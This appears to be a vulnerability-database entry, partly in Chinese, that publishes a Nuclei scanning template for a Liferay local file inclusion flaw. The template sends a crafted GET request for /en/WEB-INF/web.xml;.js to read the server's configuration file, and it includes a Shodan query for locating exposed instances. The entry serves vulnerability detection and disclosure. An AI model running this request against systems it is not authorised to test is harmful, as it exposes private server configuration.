liferay-resource-leak: Liferay - Local File Inclusion

日期: 2025-08-01 | 影响软件: Liferay | POC: 已公开

漏洞描述

Liferay is vulnerable to local file inclusion in the I18n Servlet because it leaks information via sending an HTTP request to /[language]/[resource];.js (also .jsp works).

PoC代码[已公开]

id: liferay-resource-leak

info:
  name: Liferay - Local File Inclusion
  author: DhiyaneshDk
  severity: high
  description: |
    Liferay is vulnerable to local file inclusion in the I18n Servlet because it leaks information via sending an HTTP request to /[language]/[resource];.js (also .jsp works).
  remediation: Update Liferay to the latest version
  reference:
    - https://github.com/ilmila/J2EEScan/blob/master/src/main/java/burp/j2ee/issues/impl/LiferayI18nServletResourceLeaks.java
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:a:liferay:liferay_portal:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Liferay"
    product: liferay_portal
    vendor: liferay
  tags: liferay,lfi,j2ee,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/en/WEB-INF/web.xml;.js"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<web-app id="
          - "<?xml"
        condition: and

      - type: word
        part: header
        words:
          - "application/xml"

      - type: status
        status:
          - 200
# digest: 490a0046304402204659724597231ac5146ffbb5e2adbeafb6682cfc9fad47ef011e19ed2c1871e802201820b049829b8ac64c10ca5568bbee68059e518cd948f9ad01e75bec44c4a629:922c64590222798bb761d5b6d8e72950

相关漏洞推荐